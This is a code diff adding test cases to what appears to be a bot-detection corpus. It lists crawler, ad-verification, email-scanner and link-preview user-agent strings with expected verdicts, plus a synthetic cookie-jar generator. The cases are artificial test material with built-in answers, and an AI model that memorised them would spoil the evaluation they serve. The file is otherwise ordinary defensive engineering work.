+  declaredCrawler("rc-sogou-inst", "Sogou inst spider", "Sogou inst spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Sogou's instant-answer crawler; a major Chinese index owned by Tencent", { identity: "sogou" }),
+  declaredCrawler("rc-360-spider", "360Spider", "Mozilla/5.0 (compatible; 360Spider/1.0; +http://www.so.com/help/help_3_2.html)", "Qihoo 360's search crawler, a significant Chinese index", {}),
+  declaredCrawler("rc-shenma", "YisouSpider", "Mozilla/5.0 (Linux; U; Android 12; zh-CN;) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.36 (compatible; YisouSpider/5.0; +http://www.yisou.com/help_center.html)", "Alibaba's Shenma mobile search crawler, large in Chinese mobile search", {}),
+  declaredCrawler("rc-bytedance-toutiao", "Bytedance search crawler", "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.117 Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)", "ByteDance's crawler, feeding Toutiao search and model training", { identity: "bytespider", audience: "unwanted-bot", notes: "Widely reported for aggressive rates and inconsistent robots.txt compliance. Honest about who it is, all the same." }),
+  // ---- The CIS and Eastern Europe ----
+  declaredCrawler("rc-yandex-images", "YandexImages", "Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)", "Yandex runs a fleet of specialised crawlers under one verification domain", { identity: "yandexbot" }),
+  declaredCrawler("rc-yandex-mobile", "YandexMobileBot", "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4 (compatible; YandexMobileBot/3.0; +http://yandex.com/bots)", "Yandex's mobile-first crawler", { identity: "yandexbot" }),
+  declaredCrawler("rc-yandex-accessibility", "YandexAccessibilityBot", "Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)", "Checks pages for accessibility problems on Yandex's behalf", { identity: "yandexbot" }),
+  declaredCrawler("rc-mail-ru", "Mail.RU_Bot", "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)", "The crawler behind Mail.ru's search and its social previews", {}),
+  declaredCrawler("rc-seznam-mobile", "SeznamBot mobile", "Mozilla/5.0 (compatible; SeznamBot/4.0-mobile; +http://napoveda.seznam.cz/seznambot-intro/)", "Seznam holds a substantial share of Czech search", { identity: "seznambot" }),
+  // ---- Southeast and South Asia ----
+  declaredCrawler("rc-coccoc", "Coccoc bot", "Mozilla/5.0 (compatible; coccocbot-web/1.0; +http://help.coccoc.com/searchengine)", "Coc Coc is a major Vietnamese search engine and browser", {}),
+  declaredCrawler("rc-coccoc-image", "Coccoc image bot", "Mozilla/5.0 (compatible; coccocbot-image/1.0; +http://help.coccoc.com/searchengine)", "Coc Coc's image crawler", {}),
+  declaredCrawler("rc-petal-mobile", "PetalBot, mobile crawl", "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)", "Huawei's Petal Search, the default on Huawei devices outside Google's ecosystem", { identity: "petalbot" }),
+  // ---- Europe and the Americas ----
+  declaredCrawler("rc-qwant", "Qwantbot", "Mozilla/5.0 (compatible; Qwantbot/1.0; +https://help.qwant.com/bot/)", "A French privacy-focused engine; blocking it removes a European alternative from your reach", { identity: "qwantbot" }),
+  declaredCrawler("rc-mojeek", "MojeekBot", "Mozilla/5.0 (compatible; MojeekBot/0.11; +https://www.mojeek.com/bot.html)", "A British independent index \u2014 one of very few crawlers building an index from scratch", { identity: "mojeek" }),
+  declaredCrawler("rc-startpage", "Startpage", "Mozilla/5.0 (compatible; StartpageBot/1.0; +https://www.startpage.com/robot)", "A Dutch privacy-preserving front end", {}),
+  declaredCrawler("rc-ecosia", "Ecosia", "Mozilla/5.0 (compatible; EcosiaBot/1.0; +https://ecosia.org/bot)", "A German search engine that plants trees with its ad revenue", {}),
+  declaredCrawler("rc-brave-search", "Brave Search", "Mozilla/5.0 (compatible; BraveSearchBot/1.0; +https://search.brave.com/help/brave-search-crawler)", "Brave builds its own index rather than reselling another engine's", {}),
+  declaredCrawler("rc-kagi", "Kagi Search", "Mozilla/5.0 (compatible; Kagibot/1.0; +https://kagi.com/bot)", "A subscription search engine whose crawler is small but whose users are paying customers", {}),
+  declaredCrawler("rc-stract", "Stract", "Mozilla/5.0 (compatible; StractBot/0.2; open source search engine; +https://trystract.com/webmasters)", "An open-source independent index", {}),
+  declaredCrawler("rc-right-dao", "RightDao", "Mozilla/5.0 (compatible; RightDaoBot/1.0; +https://rightdao.com/bot)", "A small independent index", {}),
+  declaredCrawler("rc-gigablast", "Gigablast", "Mozilla/5.0 (compatible; GigablastOpenSource/1.0; +http://www.gigablast.com/spider.html)", "A long-running open-source crawler", {}),
+  // ---- Specialist Google and Microsoft fleets ----
+  declaredCrawler("rc-googlebot-image", "Googlebot-Image", "Googlebot-Image/1.0", "Google's image crawler sends a bare product token with no contact URL at all", { identity: "googlebot", notes: "Recognised only because a signature knows the token. Google's own fleet does not consistently follow the contact convention, which is a useful corrective to any rule that assumes crawlers are legible." }),
+  declaredCrawler("rc-googlebot-news", "Googlebot-News", "Googlebot-News", "Google News indexing; another bare token", { identity: "googlebot" }),
+  declaredCrawler("rc-googlebot-video", "Googlebot-Video", "Googlebot-Video/1.0", "Google's video crawler", { identity: "googlebot" }),
+  declaredCrawler("rc-google-favicon", "Google Favicon", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Google Favicon", "Fetches favicons for search results and bookmarks", { identity: "googlebot", notes: "A full Chrome User-Agent with a two-word suffix and none of the headers Chrome sends. Before a signature existed for it this scored 90 as an impersonator \u2014 a legitimate Google fetcher, one token away from being blocked." }),
+  declaredCrawler("rc-google-read-aloud", "Google Read Aloud", "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Google-Read-Aloud; +https://developers.google.com/search/docs/crawling-indexing/overview-google-crawlers)", "Fetches pages so Assistant can read them aloud \u2014 an accessibility surface", { identity: "googlebot", notes: "Blocking this removes a page from a text-to-speech surface that some people rely on to read the web at all." }),
+  declaredCrawler("rc-google-site-verification", "Google Site Verification", "Mozilla/5.0 (compatible; Google-Site-Verification/1.0)", "Confirms ownership during Search Console setup; blocking it blocks your own onboarding", { identity: "googlebot" }),
+  declaredCrawler("rc-bing-preview", "BingPreview", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b", "Renders page snapshots for Bing results; note the unusual 'AppleWebKit/534+' version", { identity: "bingbot" }),
+  declaredCrawler("rc-adidxbot", "adidxbot", "Mozilla/5.0 (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)", "Microsoft Advertising's landing-page crawler", { identity: "bingbot" }),
+  declaredCrawler("rc-msnbot-media", "MSNBot-Media", "msnbot-media/1.1 (+http://search.msn.com/msnbot.htm)", "Microsoft's media crawler, still using the historic msnbot name", { identity: "bingbot" }),
+  declaredCrawler("rc-apple-siri", "Applebot for Siri", "Mozilla/5.0 (Device; CPU OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Mobile/15E148 Safari/604.1 (Applebot/0.1; +http://www.apple.com/go/applebot)", "Powers Siri suggestions and Spotlight; note the literal word 'Device' where a model would be", { identity: "applebot" })
+];
+
+// src/corpus/crawlers-vertical.ts
+function vertical(id, title, category, userAgent, provenance, options = {}) {
+  return bot({
+    id,
+    title,
+    audience: options.audience ?? "declared-bot",
+    category,
+    provenance,
+    ...options.notes !== void 0 ? { notes: options.notes } : {},
+    requests: [crawler(userAgent, options.accept !== void 0 ? { accept: options.accept } : {})],
+    expect: {
+      verdict: "confirmed-bot",
+      certain: true,
+      detectors: ["self-identified"],
+      ...options.identity !== void 0 ? { identity: options.identity } : {}
+    }
+  });
+}
+var VERTICAL_CRAWLER_CASES = [
+  // ---- Shopping and price comparison ----
+  vertical("vc-google-merchant", "Google Merchant Center feed fetch", "commerce-crawler", "Mozilla/5.0 (compatible; Google-Shopping-Quality; +http://www.google.com/bot.html)", "Validates product feeds and landing pages for Shopping listings; blocking it suspends your listings", { identity: "googlebot", audience: "benign-bot" }),
+  vertical("vc-idealo", "Idealo price comparison", "commerce-crawler", "Mozilla/5.0 (compatible; idealo-bot/1.0; +https://www.idealo.de/robots)", "The largest price comparison site in Germany; a distribution channel for many retailers", {}),
+  vertical("vc-kelkoo", "Kelkoo", "commerce-crawler", "Mozilla/5.0 (compatible; KelkooBot/1.0; +https://www.kelkoo.com/bot)", "European shopping comparison", {}),
+  vertical("vc-pricerunner", "PriceRunner", "commerce-crawler", "Mozilla/5.0 (compatible; PriceRunnerBot/1.0; +https://www.pricerunner.com/robot)", "Nordic and UK price comparison", {}),
+  vertical("vc-shopping-feed", "A shopping feed aggregator", "commerce-crawler", "Mozilla/5.0 (compatible; ShoppingFeedBot/2.1; +https://feeds.example/crawler)", "Feed aggregators fetch a product XML on a schedule and then verify the landing pages", {}),
+  vertical("vc-honey-coupon", "A coupon extension's backend", "commerce-crawler", "Mozilla/5.0 (compatible; CouponFinderBot/1.4; +https://coupons.example/bot)", "Browser coupon extensions test discount codes at checkout from their own servers", { audience: "unwanted-bot", notes: "Runs on behalf of a real shopper, from a server, against your checkout. Neither clearly wanted nor clearly hostile \u2014 exactly the kind of case a policy has to decide about deliberately." }),
+  vertical("vc-stock-tracker", "An availability tracker", "commerce-crawler", "Mozilla/5.0 (compatible; StockAlertBot/3.0; +https://stockalert.example/about-our-bot)", "Restock trackers poll product pages continuously on behalf of subscribers", { audience: "unwanted-bot" }),
+  // ---- Jobs, property and travel ----
+  vertical("vc-indeed", "Indeed's job crawler", "vertical-crawler", "Mozilla/5.0 (compatible; Indeedbot/1.1; +http://www.indeed.com/indeedbot.html)", "Aggregates job postings; for a recruiter it is free distribution", { audience: "benign-bot" }),
+  vertical("vc-adzuna", "Adzuna", "vertical-crawler", "Mozilla/5.0 (compatible; AdzunaBot/1.0; +https://www.adzuna.co.uk/bot)", "Job aggregation across Europe", { audience: "benign-bot" }),
+  vertical("vc-trivago", "Trivago's rate crawler", "vertical-crawler", "Mozilla/5.0 (compatible; TrivagoBot/1.0; +https://www.trivago.com/bot)", "Hotel metasearch fetching live rates", {}),
+  vertical("vc-skyscanner", "Skyscanner", "vertical-crawler", "Mozilla/5.0 (compatible; SkyscannerBot/1.0; +https://www.skyscanner.net/bot)", "Flight metasearch fetching live fares from airline and agency sites", {}),
+  vertical("vc-property-portal", "A property portal's listing crawler", "vertical-crawler", "Mozilla/5.0 (compatible; PropertyIndexBot/2.3; +https://property.example/crawler)", "Property portals crawl agent sites to keep listings in sync", {}),
+  // ---- News and syndication ----
+  vertical("vc-newsblur", "NewsBlur", "feed-reader", "NewsBlur Feed Fetcher - 412 subscribers - https://www.newsblur.com/site/9124/shop-example (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7))", "NewsBlur names the subscriber count and the exact feed page, which is genuinely useful information", { audience: "benign-bot", notes: "Note the nested Mozilla string inside the parentheses. Publishers can and do use the subscriber count to decide how much a feed reader is worth serving." }),
+  vertical("vc-google-news", "Google News publisher crawl", "news-crawler", "Mozilla/5.0 (compatible; Googlebot-News; +http://www.google.com/bot.html)", "News indexing runs on a separate crawl budget from web search", { identity: "googlebot", audience: "benign-bot" }),
+  vertical("vc-apple-news", "Apple News", "news-crawler", "Mozilla/5.0 (compatible; AppleNewsBot/1.0; +http://www.apple.com/go/applebot)", "Fetches articles for the Apple News channel", { identity: "applebot", audience: "benign-bot" }),
+  vertical("vc-smartnews", "SmartNews", "news-crawler", "Mozilla/5.0 (compatible; SmartNewsBot/1.0; +https://www.smartnews.com/bot)", "A very large news aggregator in Japan and the United States", { audience: "benign-bot" }),
+  vertical("vc-flipboard", "Flipboard", "news-crawler", "Mozilla/5.0 (compatible; FlipboardProxy/1.1; +http://flipboard.com/browserproxy)", "Fetches and re-renders articles for Flipboard's reader", { audience: "benign-bot" }),
+  vertical("vc-podcast-index", "Podcast Index", "feed-reader", "Mozilla/5.0 (compatible; PodcastIndexBot/1.0; +https://podcastindex.org/bot)", "An open podcast directory crawling feeds", { audience: "benign-bot" }),
+  // ---- Academic and research ----
+  vertical("vc-semantic-scholar", "Semantic Scholar", "research-crawler", "Mozilla/5.0 (compatible; SemanticScholarBot/1.0; +https://www.semanticscholar.org/crawler)", "The Allen Institute's academic index", { audience: "benign-bot" }),
+  vertical("vc-crossref", "Crossref", "research-crawler", "Mozilla/5.0 (compatible; CrossrefBot/1.0; mailto:labs@crossref.org)", "DOI registration and metadata; note the mailto contact rather than a URL", { audience: "benign-bot" }),
+  vertical("vc-openalex", "OpenAlex", "research-crawler", "Mozilla/5.0 (compatible; OpenAlexBot/1.0; +https://openalex.org/bot; mailto:support@openalex.org)", "An open catalogue of scholarly works", { audience: "benign-bot" }),
+  vertical("vc-webis", "A university research crawl", "research-crawler", "Mozilla/5.0 (compatible; WebisBot/1.0; +https://webis.de/crawler.html; research crawl, please contact us for exclusion)", "Academic web-science groups crawl at scale and generally honour exclusion requests promptly", { audience: "benign-bot", notes: "Research crawls are usually run by people who will stop if you ask. An email is often faster and cheaper than a block rule." }),
+  vertical("vc-common-crawl-news", "Common Crawl's news crawl", "research-crawler", "CCBot/2.0 (https://commoncrawl.org/faq/)", "The news subset of Common Crawl, refreshed continuously", { identity: "ccbot" }),
+  // ---- Accessibility, compliance and quality ----
+  vertical("vc-axe-monitor", "An accessibility auditing crawler", "compliance-crawler", "Mozilla/5.0 (compatible; AccessibilityMonitorBot/4.0; +https://a11y-monitor.example/bot)", "Automated WCAG auditing, often run under a legal compliance programme", { audience: "benign-bot", notes: "Frequently commissioned by the site owner and then forgotten about. Blocking it makes an accessibility report look clean by removing the evidence." }),
+  vertical("vc-siteimprove", "Siteimprove", "compliance-crawler", "Mozilla/5.0 (compatible; SiteimproveBot/2.0; +https://siteimprove.com/bot)", "Quality and accessibility auditing for large organisations", { audience: "benign-bot" }),
+  vertical("vc-w3c-validator", "The W3C validator", "compliance-crawler", "W3C_Validator/1.3 http://validator.w3.org/services", "Somebody clicked Validate on your page", { audience: "benign-bot" }),
+  vertical("vc-ssl-labs", "SSL Labs", "compliance-crawler", "Mozilla/5.0 (compatible; SSL Labs/1.0; +https://www.ssllabs.com/about/assessment.html)", "TLS configuration assessment, usually run by the site's own operator", { audience: "benign-bot" }),
+  // ---- Brand protection and enforcement ----
+  vertical("vc-brand-protection", "A brand-protection crawler", "enforcement-crawler", "Mozilla/5.0 (compatible; BrandProtectBot/2.0; +https://brandprotect.example/crawler)", "Looks for counterfeit listings and trademark misuse", {}),
+  vertical("vc-copyright-scan", "A copyright enforcement crawler", "enforcement-crawler", "Mozilla/5.0 (compatible; CopyrightScanBot/1.2; +https://rights.example/bot)", "Rights-holder agents scan for infringing copies", {}),
+  vertical("vc-domain-monitor", "A domain and certificate monitor", "enforcement-crawler", "Mozilla/5.0 (compatible; DomainWatchBot/1.0; +https://domainwatch.example/bot)", "Watches for lookalike domains and certificate issuance", {}),
+  // ---- Archival and preservation ----
+  vertical("vc-archive-today", "archive.today", "archive-crawler", "Mozilla/5.0 (compatible; archive.today; +http://archive.today/legal)", "On-demand page archiving triggered by a person pasting a URL", { audience: "benign-bot" }),
+  vertical("vc-perma-cc", "Perma.cc", "archive-crawler", "Mozilla/5.0 (compatible; perma.cc; +https://perma.cc/about)", "Harvard's citation-preservation service, used heavily by courts and journals", { audience: "benign-bot" }),
+  vertical("vc-national-library", "A national library web archive", "archive-crawler", "Mozilla/5.0 (compatible; heritrix/3.4.0 +https://www.bl.uk/collection-guides/uk-web-archive)", "Legal-deposit archiving; in several countries a library has a statutory right to crawl", { identity: "heritrix", audience: "benign-bot" }),
+  vertical("vc-conifer", "Webrecorder", "archive-crawler", "Mozilla/5.0 (compatible; Webrecorder/2.0; +https://webrecorder.net/crawler)", "High-fidelity archiving of dynamic pages", { audience: "benign-bot" }),
+  // ---- Security and reputation ----
+  vertical("vc-safe-browsing", "Google Safe Browsing", "reputation-crawler", "Mozilla/5.0 (compatible; Google-Safety; +http://www.google.com/bot.html)", "Checks pages for malware and phishing; blocking it risks an unresolvable warning interstitial", { identity: "googlebot", audience: "benign-bot", notes: "One of the few crawlers where blocking has a direct, visible cost to your own visitors: a Safe Browsing warning is shown to every Chrome user." }),
+  vertical("vc-virustotal", "VirusTotal URL scan", "reputation-crawler", "Mozilla/5.0 (compatible; VirusTotalCloud/1.0; +https://www.virustotal.com/bot)", "Somebody submitted your URL for scanning", { audience: "benign-bot" }),
+  vertical("vc-urlscan", "urlscan.io", "reputation-crawler", "Mozilla/5.0 (compatible; urlscan.io/1.0; +https://urlscan.io/about/)", "Renders a page in a sandbox and publishes the result", { audience: "benign-bot" }),
+  vertical("vc-phishtank", "PhishTank verification", "reputation-crawler", "Mozilla/5.0 (compatible; PhishTankBot/1.0; +https://phishtank.org/bot)", "Verifies reported phishing URLs", { audience: "benign-bot" }),
+  // ---- SEO auditing run by the site's own owner ----
+  vertical("vc-screaming-frog", "Screaming Frog", "seo-crawler", "Screaming Frog SEO Spider/21.4", "A desktop crawler; almost always the site's own SEO team auditing their own site", { audience: "benign-bot", notes: "No contact URL and no vendor infrastructure \u2014 it runs from somebody's laptop, so it arrives from a residential address. Blocking it blocks your own audit." }),
+  vertical("vc-sitebulb", "Sitebulb", "seo-crawler", "Mozilla/5.0 (compatible; Sitebulb/6.5; +https://sitebulb.com/bot)", "Another desktop SEO auditor", { audience: "benign-bot" }),
+  vertical("vc-lumar", "Lumar", "seo-crawler", "Mozilla/5.0 (compatible; deepcrawl; +https://www.lumar.io/bot)", "Enterprise site auditing, formerly DeepCrawl", { audience: "unwanted-bot" }),
+  vertical("vc-oncrawl", "OnCrawl", "seo-crawler", "Mozilla/5.0 (compatible; OnCrawl/1.0; +https://www.oncrawl.com/bot)", "Enterprise SEO crawling", { audience: "unwanted-bot" })
+];
+
+// src/corpus/advertising-email.ts
+function fetcher(id, title, category, userAgent, provenance, options = {}) {
+  return bot({
+    id,
+    title,
+    audience: options.audience ?? "benign-bot",
+    category,
+    provenance,
+    ...options.notes !== void 0 ? { notes: options.notes } : {},
+    requests: [crawler(userAgent)],
+    expect: options.certain === false ? { certain: false, neverAction: ["drop"] } : { verdict: "confirmed-bot", certain: true, detectors: ["self-identified"] }
+  });
+}
+var ADVERTISING_EMAIL_CASES = [
+  // ---------------------------------------------------------------------------
+  // Ad verification, viewability and brand safety.
+  // ---------------------------------------------------------------------------
+  fetcher("adv-doubleverify", "DoubleVerify", "ad-verification", "Mozilla/5.0 (compatible; DoubleVerifyBot/1.0; +https://doubleverify.com/bot)", "Verifies that ads rendered on a brand-safe page; its verdict decides whether an impression is billable"),
+  fetcher("adv-ias", "Integral Ad Science", "ad-verification", "Mozilla/5.0 (compatible; IAS crawler; +https://integralads.com/site-indexing-policy/)", "Brand-safety classification of pages carrying advertising"),
+  fetcher("adv-moat", "Oracle Moat", "ad-verification", "Mozilla/5.0 (compatible; MoatBot/1.0; +https://moat.com/bot)", "Viewability and attention measurement"),
+  fetcher("adv-comscore", "Comscore", "ad-verification", "Mozilla/5.0 (compatible; proximic; +https://www.comscore.com/Web-Crawler)", "Contextual classification for audience measurement; the crawler still uses its acquired Proximic name"),
+  fetcher("adv-grapeshot", "Grapeshot", "ad-verification", "Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)", "Contextual keyword classification, now part of Oracle"),
+  fetcher("adv-peer39", "Peer39", "ad-verification", "Mozilla/5.0 (compatible; Peer39Bot/1.0; +https://www.peer39.com/bot)", "Page-level contextual categorisation for advertisers"),
+  fetcher("adv-adbeat", "Adbeat", "ad-verification", "Mozilla/5.0 (compatible; Adbeat_Bot; +https://www.adbeat.com/operation_policy)", "Competitive advertising intelligence", { audience: "unwanted-bot" }),
+  fetcher("adv-adsbot-landing", "AdsBot checking a landing page", "ad-verification", "AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html)", "Google's mobile landing-page quality checker; blocking it lowers ad quality scores directly"),
+  fetcher("adv-bing-ads", "Microsoft Advertising landing check", "ad-verification", "Mozilla/5.0 (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)", "The equivalent for Microsoft Advertising"),
+  fetcher("adv-criteo", "Criteo", "ad-verification", "Mozilla/5.0 (compatible; CriteoBot/0.1; +https://www.criteo.com/criteo-crawler/)", "Retargeting; crawls product pages to build creatives"),
+  fetcher("adv-taboola", "Taboola", "ad-verification", "Mozilla/5.0 (compatible; TaboolaBot/1.0; +https://www.taboola.com/bot)", "Content recommendation crawling"),
+  fetcher("adv-outbrain", "Outbrain", "ad-verification", "Mozilla/5.0 (compatible; OutbrainBot/1.0; +https://www.outbrain.com/bot)", "Content recommendation crawling"),
+  fetcher("adv-pubmatic", "PubMatic", "ad-verification", "Mozilla/5.0 (compatible; PubMaticBot/1.0; +https://pubmatic.com/bot)", "Supply-side platform verifying inventory"),
+  fetcher("adv-ttd", "The Trade Desk", "ad-verification", "Mozilla/5.0 (compatible; TTD-Content/1.0; +https://www.thetradedesk.com/general/crawler)", "Demand-side contextual crawling"),
+  // ---------------------------------------------------------------------------
+  // Email link protection. Fires before a person clicks, sometimes long before.
+  // ---------------------------------------------------------------------------
+  bot({
+    id: "email-microsoft-safelinks",
+    title: "Microsoft Defender Safe Links",
+    audience: "benign-bot",
+    category: "email-link-scanner",
+    provenance: "Microsoft 365 rewrites every link in inbound mail and fetches it at delivery time and again at click time",
+    notes: "Almost every corporate recipient sits behind this. If a marketing email goes to ten thousand Microsoft 365 mailboxes, your server sees ten thousand fetches from Microsoft before a single person clicks \u2014 and blocking them can mark the link unsafe, so nobody ever arrives.",
+    requests: [crawler("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 BingPreview/1.0b")],
+    expect: { verdict: "confirmed-bot", certain: true, identity: "bingbot" }
+  }),
+  fetcher("email-proofpoint", "Proofpoint URL Defense", "email-link-scanner", "Mozilla/5.0 (compatible; ProofpointURLDefenseBot/1.0; +https://www.proofpoint.com/us/threat-reference/url-defense)", "Rewrites and pre-fetches links in enterprise mail"),
+  fetcher("email-mimecast", "Mimecast URL Protect", "email-link-scanner", "Mozilla/5.0 (compatible; MimecastURLProtectBot/1.0; +https://www.mimecast.com/products/url-protect/)", "The same mechanism, very common in the UK and Australia"),
+  fetcher("email-barracuda", "Barracuda Link Protection", "email-link-scanner", "Mozilla/5.0 (compatible; BarracudaLinkProtectBot/1.0; +https://www.barracuda.com/link-protection)", "Mail-gateway link scanning"),
+  fetcher("email-cisco-esa", "Cisco Secure Email", "email-link-scanner", "Mozilla/5.0 (compatible; CiscoSecureEmailBot/1.0; +https://www.cisco.com/go/emailsecurity)", "Outbreak filters fetch URLs before delivery"),
+  fetcher("email-google-safe", "Gmail link scanning", "email-link-scanner", "Mozilla/5.0 (compatible; Google-Safety; +http://www.google.com/bot.html)", "Gmail checks links against Safe Browsing before showing them"),
+  fetcher("email-slack-unfurl", "Slack unfurling a link posted in a channel", "email-link-scanner", "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)", "Fires the instant somebody pastes a URL, before anyone opens it"),
+  fetcher("email-teams-unfurl", "Microsoft Teams unfurling a link", "email-link-scanner", "Mozilla/5.0 (compatible; MicrosoftPreview/2.0; +https://aka.ms/MicrosoftPreview)", "Teams renders its own preview cards"),
+  fetcher("email-zoom-preview", "Zoom chat link preview", "email-link-scanner", "Mozilla/5.0 (compatible; ZoomBot/1.0; +https://zoom.us/bot)", "Chat clients preview links the same way mail gateways scan them"),
+  bot({
+    id: "email-newsletter-open-tracker",
+    title: "An email client fetching a tracking pixel",
+    audience: "infrastructure",
+    category: "email-link-scanner",
+    provenance: "Apple Mail Privacy Protection pre-fetches every remote image in every message, from Apple's own infrastructure, whether or not the message is opened",
+    notes: "Why open rates stopped meaning anything. From a server's point of view this is a fetch with no person attached, at a time nobody chose, from an address that belongs to neither party.",
+    requests: [plain("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko)", [["Accept", "image/avif,image/webp,image/apng,image/*,*/*;q=0.8"], ["Accept-Encoding", "gzip, deflate, br"], ["Accept-Language", "en-GB,en;q=0.9"]])],
+    expect: { certain: false, neverAction: ["drop"] }
+  }),
+  // ---------------------------------------------------------------------------
+  // Chat and messaging previews, which behave like both of the above.
+  // ---------------------------------------------------------------------------
+  fetcher("preview-signal", "Signal link preview", "link-unfurler", "Mozilla/5.0 (compatible; SignalBot/1.0; +https://signal.org/bot)", "Signal generates previews on the sender's device before the message is sent"),
+  fetcher("preview-imessage", "iMessage rich link", "link-unfurler", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)", "iMessage builds Rich Links using Applebot"),
+  fetcher("preview-matrix", "A Matrix homeserver preview", "link-unfurler", "Mozilla/5.0 (compatible; Synapse/1.121.0; +https://matrix.org/docs/spec/)", "Every Matrix homeserver generates its own previews, so one link fetches from many servers"),
+  fetcher("preview-bluesky", "Bluesky link card", "link-unfurler", "Mozilla/5.0 (compatible; BlueskyBot/1.0; +https://bsky.app/about/bot)", "Builds the link card shown in a post"),
+  fetcher("preview-threads", "Threads link preview", "link-unfurler", "meta-externalfetcher/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)", "Meta's fetch-on-behalf-of-a-user crawler, shared across its products")
+];
+
+// src/corpus/cookies.ts
+function digits(seed, length) {
+  let hash = 2166136261;
+  let out = "";
+  for (let i = 0; out.length < length; i++) {
+    hash ^= seed.charCodeAt(i % seed.length) + i;
+    hash = Math.imul(hash, 16777619) >>> 0;
+    out += String(hash % 1e9).padStart(9, "0");
+  }
+  return out.slice(0, length);
+}
+function cookieJar(options = {}) {
+  const visitor = options.visitor ?? "v1";
+  const firstSeen = options.firstSeen ?? 175392e4;
+  const sessionStart = options.sessionStart ?? 1756544400;
+  const pairs = [];
+  if (options.analytics !== false) {
+    const clientId = `GA1.1.${digits(`${visitor}ga`, 10)}.${firstSeen}`;
+    pairs.push(["_ga", clientId]);
+    pairs.push(["_ga_QK7X2ZLM4P", `GS1.1.${sessionStart}.4.1.${sessionStart + 187}.58.0.0`]);
+  }
+  if (options.advertising === true) {
+    pairs.push(["_fbp", `fb.1.${firstSeen}000.${digits(`${visitor}fb`, 10)}`]);
+    pairs.push(["_gcl_au", `1.1.${digits(`${visitor}gcl`, 9)}.${firstSeen}`]);
+  }
+  if (options.consent === true) {
+    pairs.push([
+      "OptanonConsent",
+      `isGpcEnabled=0&datestamp=Sat+Aug+30+2026+09%3A00%3A00+GMT%2B0000&version=202405.1.0&interactionCount=1&groups=C0001%3A1%2CC0002%3A1%2CC0003%3A1%2CC0004%3A0`
+    ]);
+    pairs.push(
+      ["euconsent-v2", "CQJd8YAQJd8YAAcABBENBhFsAP_gAEPgAAYgKPtV_G__bWlr8X73aftkeY1P9_h77sQxBhfJE-4FzLvW_JwXx2ExNA36tqIKmRIAu3TBIQNlHJDURVCgaogVryDMak2coTNKJ6BkiFMRO2dYCF5vmwtj-QKY5vr991dx2B-t7dr83dzyy4hHn3a5_2a0WJCdA5-tDfv9bROb-9IOd_x8v4v8_F_rE2_eT1l_tWvp7D9-cts7_XW89_fff_9Pn_-uB_-_3_vAAA"]
+    );
+  }
+  if (options.cloudflare === true) {
+    pairs.push(["__cf_bm", `${digits(`${visitor}cf`, 22)}.${sessionStart}-1.0.1.1-${digits(`${visitor}cfb`, 40)}`]);
+    pairs.push(["cf_clearance", `${digits(`${visitor}cfc`, 32)}-${sessionStart}-1.2.1.1-${digits(`${visitor}cfd`, 48)}`]);
+  }
+  if (options.productAnalytics === true) {
+    pairs.push(["_hjSessionUser_3184920", `eyJpZCI6IjQ0NmE${digits(`${visitor}hj`, 8)}IiwiY3JlYXRlZCI6MTc1MzkyMDAwMH0=`]);
+    pairs.push(["intercom-id-jf7q2wnx", `d8${digits(`${visitor}ic`, 6)}-4a1c-9e0b-${digits(`${visitor}ic2`, 12)}`]);
+  }
+  if (options.application !== false) {
+    pairs.push(["sid", `s%3A${digits(`${visitor}sid`, 24)}.${digits(`${visitor}sig`, 26)}`]);
+    pairs.push(["csrftoken", digits(`${visitor}csrf`, 32)]);
+  }
+  for (const [name, value] of options.extra ?? []) pairs.push([name, value]);
+  return pairs.map(([name, value]) => `${name}=${value}`).join("; ");
+}
+function freshVisitorJar(visitor = "new") {
+  return cookieJar({ visitor, analytics: false, application: true });
+}
+function returningCustomerJar(visitor = "returning") {
+  return cookieJar({
+    visitor,
+    analytics: true,
+    advertising: true,
+    consent: true,
+    cloudflare: true,
+    productAnalytics: true,
+    application: true,
+    extra: [
+      ["cart", `${digits(`${visitor}cart`, 8)}%3A3items`],
+      ["locale", "en-GB"],
+      ["currency", "GBP"]
+    ]
+  });
+}
+
+// src/corpus/cdn-gateways.ts
+function edge(id, title, userAgent, provenance, extra = [], options = {}) {
+  return bot({
+    id,
+    title,
+    audience: "infrastructure",
+    category: "edge-infrastructure",
+    provenance,
+    ...options.notes !== void 0 ? { notes: options.notes } : {},
